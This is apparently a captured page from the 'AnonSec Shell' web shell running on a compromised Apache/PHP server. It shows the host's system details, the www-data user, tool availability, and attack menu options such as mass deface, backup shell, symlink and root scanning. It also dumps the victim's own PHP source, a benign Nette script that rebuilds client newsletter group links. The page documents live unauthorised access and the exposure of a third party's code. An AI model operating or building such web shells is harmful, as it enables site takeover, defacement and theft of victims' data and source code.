AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /var/www/html/app/components/oneUseScripts/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www/html/app/components/oneUseScripts/clientNewsletterGroupsImplanter.php

<?php
namespace Promoteus\Component\oneUseScripts;
/**
 * Created by PhpStorm.
 * User: marti
 * Date: 05.12.2018
 * Time: 7:29
 */

use Nette;
use Nette\Database\Context;
use Tracy\Debugger;

class clientNewsletterGroupsImplanter extends Nette\Application\UI\Presenter
{
    /** @var Context @inject */
    public $db;

    private $correctTable = "_client_newsletter_import";
    private $toCorrectTable = "link_client_newsletter_group";

    public function implantNewsletterGroups(){
        foreach ($this->getCorrectDataClientsIds() as $client){
            //return $client->client_id;
            $this->deleteCorruptedGroupsDataforClientById($client->client_id);
            $correctData = $this->getCorrectDataForClientById($client->client_id);
            foreach ($correctData as $row){
                $ok = $this->implantCorrectDataForClientById(["client_id" => $row->client_id,"newsletter_group_id" => $row->newsletter_group_id]);
                Debugger::barDump($ok,"ok - ".$client->client_id);
            }


        }
    }

    public function getCorruptedTableDataForClientById(int $client_id){
        try{
            $correctData = $this->db
                ->table($this->toCorrectTable)
                ->select("client_id,newsletter_group_id")
                ->where("client_id",$client_id)
                ->order("newsletter_group_id ASC")
                ->fetchAll();
            if(count($correctData) < 1 OR !$correctData){
                return false;
            }
        }catch (\Exception $e){
            return false;
        }
        return $correctData;
    }

    /**
     * @param int $client_id
     * @return array|bool|Nette\Database\Table\IRow[]|Nette\Database\Table\Selection
     */
    public function getCorrectDataForClientById(int $client_id){
        try{
            $correctData = $this->db
                ->table($this->correctTable)
                ->select("client_id,newsletter_group_id")
                ->where("client_id",$client_id)
                ->order("newsletter_group_id ASC")
                ->fetchAll();
            if(count($correctData) < 1 OR !$correctData){
                return false;
            }
        }catch (\Exception $e){
            return false;
        }
        return $correctData;
    }

    /**
     * @return array|bool|Nette\Database\Table\IRow[]|Nette\Database\Table\Selection
     */
    public function getCorrectDataClientsIds(){
        try{
            $correctData = $this->db
                ->table($this->correctTable)
                ->select("client_id")
                ->order("client_id ASC")
                ->fetchAll();
            if(count($correctData) < 1 OR !$correctData){
                return false;
            }
        }catch (\Exception $e){
            return false;
        }
        return $correctData;
    }

    /**
     * @param int $client_id
     * @return bool
     */
    public function deleteCorruptedGroupsDataforClientById(int $client_id){
        try{
            $this->db
                ->table($this->toCorrectTable)
                ->where("client_id",$client_id)
                ->delete();
        }catch (\Exception $e){
            return false;
        }
        return true;
    }

    public function implantCorrectDataForClientById($clientData){

        try{
            $this->db->table($this->toCorrectTable)->insert($clientData);
        }catch (\Exception $e){
            return false;
        }
        return true;
    }
}

Anon7 - 2022
AnonSec Team